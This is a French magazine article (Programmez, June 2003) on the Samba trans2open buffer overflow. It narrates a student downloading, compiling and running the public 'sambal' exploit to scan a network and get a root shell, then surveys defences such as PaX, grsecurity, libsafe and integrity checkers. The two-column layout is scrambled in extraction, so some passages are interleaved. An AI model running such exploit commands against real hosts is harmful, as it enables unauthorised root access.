Sécurité
Les failles Samba
ne font pas danser les administrateurs !
SAMBA est parfois
montré en exemple
de sécurité. Or, cet
outil n’est pas
aussi bien sécurisé
qu’il n’y paraît. La
dernière faille
Samba le
démontre, avec un
débordement de
tampon malicieux.
Si vous avez
Samba installé sur
vos serveurs, lisez
attentivement cet
article.
L’équipe de développement de Samba
P
our mémoire, Samba permet aux utili- leur écran. Un étudiant est en train de se [/home/intrus]#./sambal -b 0 -S 192.168.0.
sateurs Windows d’employer les ser- connecter à l’Intranet depuis une machine samba-2.2.8 < remote root exploit by eSDee
vices de partage de fichiers et libre. Il peut accéder à Internet depuis ce (www.netric.org|be)
d’impression d’une machine Linux. Un serveur poste (Linux) à partir duquel il peut égale- --------------------------------------------------------------
+ Scan mode.
Samba tire parti du protocole SMB (Server ment compiler un code source. Cet individu
+ [192.168.0.1] Windows
Message Block) pour permettre à des clients commence par télécharger le code source C ...
Windows d'accéder à des fichiers partagés "sambal.c" : + [192.168.0.22] Samba
sur un serveur Linux. ...
SMB est une variante du protocole “LAN [/home/intrus]# mkdir sambal + [192.168.0.24] Windows
[/home/intrus]# cd sambal + [192.168.0.25] Samba
Manager” TCP/IP. Les clients s’échangent des
[/home/intrus]# wget http://www.trusteddebian. ...
requêtes SMB grâce à la couche NetBios (Net- org/sambal.tar.gz + [192.168.0.29] Samba
work Basic Input/Output System) implémen- --12:10:22-- http://www.trusteddebian.org/sam ...
tée au dessus de TCP/IP. Depuis la version bal.tar.gz
Samba 2.0.3 une machine Linux peut se sub- => `sambal.tar.gz' Et lance une attaque sur le premier serveur
Connecting to www.trusteddebian.org:80... connected!
stituer à un serveur Windows, ou choisir de rencontré :
HTTP request sent, awaiting response... 200 OK
faire partie d’un domaine Windows. Length: 17,160 [application/x-tar]
Samba est-il plus sécurisé que Windows ? A [/home/intrus]#./sambal -b 0 192.168.0.22
samba-2.2.8 < remote root exploit by eSDee
priori " oui ". À priori seulement, la liste des 0K -> .......... ...... [100%]
(www.netric.org|be)
failles est longue. Une des dernières en date --------------------------------------------------------------
12:10:22 (136.24 KB/s) - `sambal.tar.gz' saved
(avril 2003, "CAN-2003-0201" http://www.cve + Bruteforce mode. (Linux)
[17160/17160]
.mitre.org/) est très spectaculaire. http://www.trusteddebian.org/sambal.tar.gz
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
Le scénario de l’attaque Puis le décompresse, et le compile :
*** JE MOET JE MUIL HOUWE
Linux debian 2.4.18-bf2.4 #1 Mon May 5 12:14
Il est 12h10, le lundi 5 mai 2003, tout est [/home/intrus]# tar xfz sambal.tar.gz
:25 CEST 2003 i586 unknown
[/home/intrus]# gcc sambal.c -o sambal
calme dans la salle informatique. Professeurs uid=0(root) gid=0(root) egid=65534(nogroup)
et élèves sont partis déjeuner, mais Ensuite, il scanne le réseau à la recherche groups=65534(nogroup)
ps -fax
52 quelques irréductibles restent scotchés à d’un serveur Samba :
Programmez N°54 • JUIN 2003
Tracez vos utilisateurs
Vous pouvez faire en sorte que la trace log du serveur passerelle renseigne l’adresse IP
et le nom de l’utilisateur. Vous devez d’abord configurer un "proxy transparent", obli-
Bad syntax, perhaps a bogus '-'?
geant les requêtes http à aboutir sur la passerelle. Ensuite, vous devez configurer le
PID TTY STAT TIME COMMAND proxy squid et plus précisément le fichier /etc/squid/squid.conf, en lui ajoutant simple-
6? SW 0:03 [kupdated] ment les lignes :
5? SW 0:00 [bdflush]
4? SW 0:18 [kswapd] acl names ident root admin
... http_access allow names localsrc
194 ? S 0:01 /usr/sbin/nmbd -D http_access deny names
196 ? S 0:00 /usr/sbin/smbd -D
783 ? S 0:00 \_ /usr/sbin/smbd -D
Enfin, pour un poste Linux il existe le démon pidentd que vous trouverez à l’adresse :
786 ? S 0:00 \_ /bin//sh
http://www.lysator.liu.se/~pen/pidentd/
789 ? R 0:00 \_ ps -fax
...
Pour Windows 95, 98 ou ME vous devez surfer à l’URL http://identd.sourceforge.net/.
Vous devrez modifier la base des registres. (HKEY_LOCAL_MACHINE\Software\Microsoft
\Windows\CurrentVersion\Run sous Windows 95 en lui indiquant comme clé le chemin
Comme on peut le constater "l’exploit" a
d’accès de identd ; ou HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
réussi. L’intrus a effectivement ouvert un
Version\RunServices sous Windows 98).
SHELL (pid 786) avec les droits de super utili- Pour NT, Windows 2000 et XP il vous faudra aller à l’adresse http://freeware.teledan-
sateur "root". Quelques minutes plus tard, il mark.no/identd/. Ici le serveur identd s’installe comme un service. Cela fonctionne aussi
a téléchargé et installé sa propre porte d’en- avec Windows XP.
trée ("back-door") qui est constituée par un
module noyau (baptisé "root-kit"). Puis il
ajoute un "sniffer", qui reniflera en son
absence les noms des utilisateurs et leurs rien, car l’exécutable ou son fichier source ne smbd/trans2.c. Et plus précisément la fonc-
mots de passe. Il peut maintenant effacer ses pèse pas plus de 35 Ko... tion affectée est "call_trans2open" :
traces et se déconnecter.
Les leçons à tirer… Du côté de la passerelle namelen = strlen(pname)+1;
strncpy(fname,pname,namelen);
Du côté du poste client et/ou
Samba
du serveur
Une parade universelle ?
Comment ne pas en arriver là ? Disons le tout Vérifiez l’utilisation effective du service SMB. Il n’existe pas de solution miracle. La premiè-
net : en passant du temps à sécuriser son Si vous ne l’utilisez pas ou très rarement, re barrière est celle du programmeur lui-
réseau. désactivez-le. Empêchez la compilation sur même. Il doit prendre conscience du
Examinons cela de plus près. D’abord, le fait une machine sensible. Le serveur passerelle problème du dépassement de tampon, en
que l’élève se connecte depuis une machine SME (clone REDHAT) ne propose pas les codant "plus soigneusement". Par exemple
où il sera capable de compiler, ne représente outils de compilation par défaut, précisément en indiquant :
pas vraiment une erreur en soi de l’adminis- pour cette raison. Mais vous êtes du coup, tri- strncpy(fname,pname,MIN(namelen, sizeof(fname)-1));
trateur. En effet, au lieu de compiler directe- butaire de l’installation de binaires, via la
ment le code source il aurait pu commande rpm pour un processeur cible bien Sinon, sans modifier les programmes vulné-
tranquillement télécharger un exécutable. De déterminé. En principe, une machine sécuri- rables, il existe des contre - mesures assez
plus, si l’étudiant suit des cours en informa- sée ne doit pas comporter de possibilité de efficaces mais attention, elles sont toutes
tique il semble légitime qu’il puisse compiler. charger des modules. Le kernel sera recompi- contournables (lire à ce sujet http://www.
Limiter l’accès à Internet est un mal souvent lé dans ce sens : pas de modules noyaux phrack.org/phrack/58/p58-0x04).
nécessaire, mais ce n’est pas pour autant externes, l’ensemble de pilotes devant faire Citons dans le désordre et sans être exhaus-
résoudre le problème. Néanmoins, avec un partie du noyau recompilé. De cette manière tif, Openwall (http://www.openwall.com/), un
logiciel comme SquidGuard (ou DansGuar- vous serez moins sensibles à l’installation patch apportant au noyau Linux de nouvelles
dian) vous pouvez interdire l’accès à des sites d’un "root-kit". Un logiciel de vérification fonctionnalités de sécurité, dont une des
"au contenu sensible" ("crack, hack, warez", d’intégrité (Tripwire, Aide, etc.) vérifiera les options consiste à rendre la pile du noyau
etc). Vous pouvez aussi obliger les étudiants empreintes de chaque fichier binaire. Mais si non exécutable. Le patch d'Openwall offre
à s’identifier avant d’accéder à Internet (ce jamais un intrus parvient quand même à s’in- d’autres protections intéressantes, non liées
qui peut se réaliser de manière automatisée filtrer, vous pourrez en recalculant les à l'exploitation de débordements. Si vous ne
avec ident) et par cette technique conserver sommes de contrôles, repérer les change- voulez pas recompiler votre noyau, il existe
une trace de leurs téléchargements. ments qu’il aura effectués. aussi libsafe (http://www.gnu.org/directory/
Evidemment si l’accès au lecteur de dis- Sambal exploite un BOF (buffer overflow) security/net/libsafe.html) qui intercepte les
quettes est autorisé, tout ceci ne servira à situé à la ligne 250 du fichier /source/ appels de la libc en effectuant un test 53
Programmez N°54 • JUIN 2003
Sécurité
Ce n’est pas tout, grsecurity (http://www.grse-
curity.net) est un patch cumulatif regroupant
les fonctionnalités d'Openwall et de PaX.
Celui-ci existe pour la série des noyaux 2.4 :
apt-cache search kernel-patch | sort | grep "^ker
nel-patch" | grep "2.4"
kernel-patch-2.4-grsecurity - grsecurity kernel patch -
OpenWall based 2.4.x security patch
...
Notez pour les utilisateurs DEBIAN l’excellen-
te initiative TrustedDebian (http://trustedde-
bian.org) qui utilise notamment PaX pour
sécuriser cette distribution. Enfin Immunix est
une distribution dérivée de la RedHat, qui uti-
lise le compilateur StackGuard à la place de
gcc, pour se prémunir d’une attaque par
débordement (http://www.immunix.org/).
Common Vulnerabilities and Exposures "CAN-2003-0201"
Mise en garde !
Si PaX est installé, l’attaque trans2open() de
anti-débordement. L'idée est, non pas de pat- un patch appliqué au noyau qui, non seule- Sambal échouera. Cependant, vous n’avez
cher la libc, mais bien d'intercepter les ment rend la pile non exécutable, mais aussi pas la certitude qu’une telle "rustine" sera
appels. Libsafe est donc chargée avant la libc le tas (heap). Il rendra les adresses variables suffisante dans tous les cas ! En matière de
(LD_PRELOAD) et se comportera comme un en mémoire des fonctions de la libc, ce qui sécurité rien n’est à prendre à la légère. N’ou-
"wrapper", c'est-à-dire en appelant les fonc- rend l'écriture d'exploits bien plus difficile (en bliez jamais que plus le niveau de sécurité
tions de la libc, à la condition qu’il n’y ait pas fait il "brouille" les adresses des fonctions de atteint est élevé plus la convivialité est
de dépassement de tampon. Evidemment lib- la libc qui pourraient servir de références de moindre. A vous de décider jusqu’où vous
safe ne produira aucun effet sur les logiciels saut). PaX est un patch quasi indispensable êtes prêts à aller, sans pour autant rendre
liés statiquement… concernant les serveurs sensibles (mais atten- votre système inutilisable… ■
PaX (http://pageexec.virtualave.net/docs/) est tion à la perte de performance). Xavier Leclercq
SPÉCIAL 5e ANNIVERSAIRE
Recevez gratuitement
CodeChargeStudio l'outil RAD Web
Bénéficiez d'une remise exceptionnelle sur le prix de l'abonnement : 36,45 €
RESERVE
aux 100 premiers
au lieu de 45 €, prix normal. Cela représente 29 € d'économie par rapport au
prix de vente au numéro, soit 45% ! abonnés
Mais nous avons décidé d'aller plus loin, grâce à l'éditeur YesSoftware et son
distributeur Kapitec Software, en vous offrant un exceptionnel outil de développement professionnel : Code
Charge Studio version 2.0, vendu 499,95 €
Pour en savoir plus sur CodeCharge Studio : http://www.kapitec.com/Produits/CodeCharge/fr/codecharge_stu.htm
ABONNEZ VOUS IMMEDIATEMENT : voir coupon page 81
Licence du logiciel offerte par l'éditeur - RESERVE aux 100 premiers abonnés inscrits, à réception du règlement de
leur abonnement - L' opération est gérée par KAPITEC Software. Les licences seront livrées par voie électronique
sous 2 semaines, à réception de la demande düment enregistrée par l'éditeur YesSoftware. www.programmez.com
54
Programmez N°54 • JUIN 2003